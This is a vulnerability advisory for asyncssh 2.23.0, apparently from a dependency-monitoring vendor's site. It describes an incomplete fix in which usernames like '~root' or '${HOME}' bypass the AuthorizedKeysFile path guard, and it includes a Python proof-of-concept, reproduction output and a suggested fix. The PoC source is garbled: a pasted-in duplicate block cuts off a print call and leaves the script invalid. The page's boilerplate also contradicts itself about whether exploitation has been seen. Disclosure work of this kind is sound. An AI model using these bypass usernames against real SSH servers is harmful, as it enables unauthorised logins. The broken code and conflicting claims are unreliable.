Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-3809
Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
Impact and limitations
- Demonstrated (verified against source at
a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored
C:N/I:H/A:N; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for
~/${ENV}. - Preconditions (captured by AC:H):
%umust be the leading path component; on Python 3.13,Path('~nonexistentuser').expanduser()raisesRuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).
Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
Reproduction
In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
PoC source
(see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard